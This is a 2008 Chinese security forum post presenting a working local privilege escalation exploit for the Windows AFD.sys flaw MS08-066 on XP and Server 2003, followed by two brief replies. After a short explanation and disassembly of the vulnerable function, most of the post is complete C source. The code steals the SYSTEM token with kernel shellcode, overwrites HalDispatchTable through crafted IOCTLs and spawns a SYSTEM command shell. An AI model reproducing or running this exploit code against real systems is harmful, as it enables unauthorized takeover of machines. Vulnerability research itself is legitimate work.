首页
社区
课程
招聘
[原创]MS08-066 Microsoft Ancillary Function Driver Elevation of Privilege exploit
发表于: 2008-10-17 11:36 6385

[原创]MS08-066 Microsoft Ancillary Function Driver Elevation of Privilege exploit

2008-10-17 11:36
6385

from http://hi.baidu.com/vessial

这个漏洞跟MS08-025类似,由于ProbeForWrite对0字节长度地址不作检测,造成可以写任何地址,
SWI已经对此作了比较详细的说明,大家可以看这儿
http://blogs.technet.com/swi/archive/2008/10/14/ms08-066-how-to-correctly-validate-and-capture-user-mode-data.aspx
简单描述这个漏洞
PAGE:000174C3 ; int __stdcall AfdGetRemoteAddress(int, int, char, int, int, PVOID Address, SIZE_T Length, int)
PAGE:000174C3 _AfdGetRemoteAddress@32 proc near       ; DATA XREF: .data:0001432C o
PAGE:000174C3
PAGE:000174C3 var_24          = dword ptr -24h
PAGE:000174C3 var_20          = dword ptr -20h
PAGE:000174C3 var_1C          = dword ptr -1Ch
PAGE:000174C3 ms_exc          = CPPEH_RECORD ptr -18h
PAGE:000174C3 arg_0           = dword ptr 8
PAGE:000174C3 arg_8           = byte ptr 10h
PAGE:000174C3 Address         = dword ptr 1Ch
PAGE:000174C3 Length          = dword ptr 20h
PAGE:000174C3 arg_1C          = dword ptr 24h
PAGE:000174C3
PAGE:000174C3 ; FUNCTION CHUNK AT PAGE:00018F79 SIZE 0000000C BYTES
PAGE:000174C3
PAGE:000174C3                 push    14h
PAGE:000174C5                 push    offset stru_137E0
PAGE:000174CA                 call    __SEH_prolog
PAGE:000174CF                 mov     eax, [ebp+arg_0]
PAGE:000174D2                 mov     ebx, [eax+0Ch]
PAGE:000174D5                 mov     [ebp+var_24], ebx
PAGE:000174D8                 xor     esi, esi
PAGE:000174DA                 mov     eax, [ebp+arg_1C]
PAGE:000174DD                 mov     [eax], esi
PAGE:000174DF                 push    ebx
PAGE:000174E0                 call    _AfdLockEndpointContext@4 ; AfdLockEndpointContext(x)
PAGE:000174E5                 mov     [ebp+var_20], eax
PAGE:000174E8                 cmp     eax, esi
PAGE:000174EA                 jz      short loc_1756A
PAGE:000174EC                 cmp     word ptr [ebx], 0AFD2h
PAGE:000174F1                 jnz     short loc_1756A
PAGE:000174F3                 cmp     byte ptr [ebx+2], 3
PAGE:000174F7                 jnz     short loc_1756A
PAGE:000174F9                 movzx   eax, word ptr [ebx+5Ah]
PAGE:000174FD                 movzx   ecx, word ptr [ebx+58h]
PAGE:00017501                 add     ecx, eax
PAGE:00017503                 cmp     ecx, [ebx+74h]
PAGE:00017506                 ja      short loc_1756A
PAGE:00017508                 cmp     [ebp+Length], eax/
PAGE:0001750B                 jb      loc_18F79
PAGE:00017511                 mov     [ebp+Length], eax
PAGE:00017514                 mov     [ebp+var_1C], esi
PAGE:00017517
PAGE:00017517 loc_17517:                              ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+1ABD j
PAGE:00017517                 mov     [ebp+ms_exc.disabled], esi
PAGE:0001751A                 cmp     [ebp+arg_8], 0
PAGE:0001751E                 jz      short loc_1752E
PAGE:00017520                 push    1               ; Alignment //Length为Outbuffer的长度
PAGE:00017522                 push    [ebp+Length]    ; Length //当这个长度为0时,对下面的地址不作检测
PAGE:00017525                 push    [ebp+Address]   ; Address//因为这个地址可以我们手动构造,然后可写
PAGE:00017528                 call    ds:__imp__ProbeForWrite@12 ; ProbeForWrite(x,x,x)
PAGE:0001752E
PAGE:0001752E loc_1752E:                              ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+5B j
PAGE:0001752E                 movzx   ecx, word ptr [ebx+5Ah]
PAGE:00017532                 movzx   esi, word ptr [ebx+58h]
PAGE:00017536                 add     esi, [ebp+var_20]
PAGE:00017539                 mov     edi, [ebp+Address]
PAGE:0001753C                 mov     eax, ecx
PAGE:0001753E                 shr     ecx, 2
PAGE:00017541                 rep movsd
PAGE:00017543                 mov     ecx, eax
PAGE:00017545                 and     ecx, 3
PAGE:00017548                 rep movsb
PAGE:0001754A                 mov     eax, [ebx+74h]
PAGE:0001754D                 mov     ecx, [ebp+arg_1C]
PAGE:00017550                 mov     [ecx], eax
PAGE:00017552                 or      [ebp+ms_exc.disabled], 0FFFFFFFFh
PAGE:00017556
PAGE:00017556 loc_17556:                              ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+AE j
PAGE:00017556                                         ; sub_18F9C+A j
PAGE:00017556                 push    [ebp+var_20]
PAGE:00017559                 push    ebx
PAGE:0001755A                 call    _AfdUnlockEndpointContext@8 ; AfdUnlockEndpointContext(x,x)
PAGE:0001755F                 mov     eax, [ebp+var_1C]
PAGE:00017562                 call    __SEH_epilog

exploit 代码如下
运行后会得到了一个cmd的system权限的shell
///////////////////////////////////////////////////////
///////////////////////////////////////////////////////
////   
////    Microsoft Windows AFD.sys MS08-066
////    Privilege Escalation Exploit XP & 2003
////    ---------------------------------------------
////    This code can only be used for personal study
////    and research purposes on odd days.
////    ---------------------------------------------

#include <stdio.h>
#include <Winsock2.h>
#include <ntsecapi.h>

#pragma comment (lib, "ws2_32.lib")

#define AFD_GET_REMOTE_ADDRESS 0x1203f

typedef enum _KPROFILE_SOURCE {

    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum

} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,
                                           PULONG          Interval );

typedef NTSTATUS (WINAPI *PNTALLOCATE)(    IN HANDLE               ProcessHandle,
                                        IN OUT PVOID            *BaseAddress,
                                        IN ULONG                ZeroBits,
                                        IN OUT PULONG           RegionSize,
                                        IN ULONG                AllocationType,
                                        IN ULONG                Protect );

int Callback_Overview()
{
    printf("\n");
    printf("=================================================    \n");
    printf("    Microsoft Windows AFD.sys (MS08-066)        \n");
    printf("        Privilege Escalation Exploit    \n");
    printf("    XP && 2003\n");
    printf("=================================================    \n");
    printf(" Orginal Author Ruben Santamarta\n\n");
    printf(" Modified by vessial\n\n");
    printf("+ References:\n");
    printf(" www.microsoft.com/technet/security/bulletin/ms08-oct.mspx\n");
    printf(" www.reversemode.com\n\n");
    printf(" hi.baidu.com/vessial\n\n");
    return 1;
}

OSVERSIONINFOEX OsVersionInfo;

_declspec(naked) int ShellCode()
{

    if ( OsVersionInfo.dwMinorVersion == 1 ) {

        __asm {

            nop
                nop
                nop
                nop
                nop
                nop

                mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
                Mov eax,[eax]

                mov esi,[eax+0x220]
                mov eax,esi

searchXp:

                mov eax,[eax+0x88]
                sub eax,0x88
                mov edx,[eax+0x84]
                cmp edx,0x4 // Find System Process
                jne searchXp

                mov eax,[eax+0xc8] // 获取system进程的token
                mov [esi+0xc8],eax // 修改当前进程的token

                ret 8

        }
    }
    if ( OsVersionInfo.dwMinorVersion == 2 ) {

        __asm {

            nop
            nop
            nop
            nop
            nop
            nop
            mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
            Mov eax,[eax]
            mov esi,[eax+0x220]
            mov eax,esi

search2003:
            mov eax,[eax+0x98]
            sub eax,0x98
            mov edx,[eax+0x94]
            cmp edx,0x4 // Find System Process
            jne search2003
            mov eax,[eax+0xd8] // 获取system进程的token
            mov [esi+0xd8],eax // 修改当前进程的token
            ret 8

        }
    }

}

unsigned char trapline[]="\x68\x00\x00\x00\x00\xc3";

int main( )
{
    PNTQUERYINTERVAL    NtQueryIntervalProfile;
    KPROFILE_SOURCE    stProfile = ProfileTotalIssues;
    PNTALLOCATE        NtAllocateVirtualMemory;
   
    WSADATA ws;
   
    SOCKET tcp_socket;
    struct sockaddr_in peer;
   
   
    char inBuff[0x40];
    char outBuff[0x40];
    char szNtos[MAX_PATH] = {0};
   
    DWORD junk ,i;
    DWORD        dwShellSize = 0x1000;

    ULONG_PTR    HalDispatchTable;
    ULONG_PTR    BaseNt = 0x804d8000; //kernel loaded address,so you can dynamic get this:),but i am a lazy guy
    ULONG_PTR    result;
    LPVOID addr = (LPVOID)0x01000000;
   

    HMODULE        hKernel;

    STARTUPINFOA                stStartup;
   PROCESS_INFORMATION            pi;
    WSAStartup(0x0202,&ws);
   
    system("cls");
    Callback_Overview();

    ///////////////// Dynamic Stuff

    RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
    OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

   if ( OsVersionInfo.dwMajorVersion != 5 ) {

       printf( "Not NT5 system\n" );
       ExitProcess( 0 );
   }

    hKernel = LoadLibraryExA("ntkrnlpa.exe",0,1);   
   
    HalDispatchTable = (ULONG_PTR)GetProcAddress(hKernel,
                                                "HalDispatchTable");

    if( !HalDispatchTable )
    {
        printf("[!!] HalDispatchTable not found\n");
        return FALSE;
    }

    HalDispatchTable -= ( ULONG_PTR )hKernel;
    HalDispatchTable += BaseNt;

    printf("[+] HalDispatchTable found    \t\t\t [ 0x%p ]\n",HalDispatchTable);
   
    printf("[+] NtQueryIntervalProfile ");

    NtQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),
                                                                                    "NtQueryIntervalProfile");
    if( !NtQueryIntervalProfile )
    {
        printf("[!!] Unable to resolve NtQueryIntervalProfile\n");
        return FALSE;
    }
    printf( "\t\t\t [ 0x%p ]\n",NtQueryIntervalProfile );
   
    printf("[+] NtAllocateVirtualMemory");
    NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle(    "ntdll.dll"),
                                                                            "NtAllocateVirtualMemory");
   
    if( !NtAllocateVirtualMemory )
    {
        printf("[!!] Unable to resolve NtAllocateVirtualMemory\n");
        return FALSE;
    }

    printf( "\t\t\t [ 0x%p ]\n",NtAllocateVirtualMemory );
    printf("\n[+] Allocating memory at [ 0x%p ]...\n",addr);

    NtAllocateVirtualMemory(    INVALID_HANDLE_VALUE,
                                &addr,
                                0,
                                &dwShellSize,
                                MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                                PAGE_EXECUTE_READWRITE );

    if( (ULONG_PTR)addr != 0x01000000 )
    {
        printf("\n[!!] Error allocating memory\n");
        return 0;
    }
    memset(addr, 0x90, dwShellSize);
    memcpy((BYTE*)((BYTE*)addr+0x100), &trapline,sizeof(trapline)-1);
    *(unsigned long*)((BYTE*)addr+0x101) = (ULONG_PTR)ShellCode;
   
    memset(inBuff,0x90,sizeof(inBuff));
    memset(outBuff,0x90,sizeof(outBuff));

    peer.sin_family = AF_INET;
    peer.sin_port = htons( 0x01bd );//connecting localhost 445 port,if this port not open ,you can netstat -an your host ,which one is listen
    peer.sin_addr.s_addr = inet_addr( "127.0.0.1" ); //

    tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
   

    if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(sockaddr_in)) )
    {
        printf("\n[!!] You should not see this! \n\n");
        exit(0);
    }

    printf("[+] Sending IOCTL...\n");

    DeviceIoControl((HANDLE)tcp_socket,
                    AFD_GET_REMOTE_ADDRESS,
                    (LPVOID)inBuff,sizeof(inBuff),
                    (LPVOID)outBuff,0,
                    &junk,
                    NULL);
    printf("\n");
    printf("[+] Received Bytes from Peer Address:\n\t-> ");
    for( i = 0; i < sizeof( peer ) ; i++)
    {
        printf(" %02X ",(unsigned char)outBuff[i]);
    }

    printf("\n\n");
   
    printf("[+] Overwriting HalDispatchTable with those bytes...");
   
    DeviceIoControl((HANDLE)tcp_socket,
                    AFD_GET_REMOTE_ADDRESS,
                    (LPVOID)inBuff,sizeof(inBuff),
                    (LPVOID)HalDispatchTable,0,
                    &junk,
                    NULL);
    printf("\n\n");

    printf("[+] Executing shellcode...");
   
    NtQueryIntervalProfile(stProfile,&result);
    GetStartupInfo( &stStartup );

   CreateProcess( NULL,
       "cmd.exe",
       NULL,
       NULL,
       TRUE,
       NULL,
       NULL,
       NULL,
       &stStartup,
       &pi );

    printf("[ OK ]\n");
   
    printf("[+] Done...\n\n");

    return TRUE;

}


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 7
支持
分享
最新回复 (2)
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
2
学习!

btw: lz的Blog不错。
2008-10-17 12:06
0
雪    币: 220
活跃值: (721)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
可惜不支持WIN2K
2015-4-11 08:26
0
游客
登录 | 注册 方可回帖
返回
//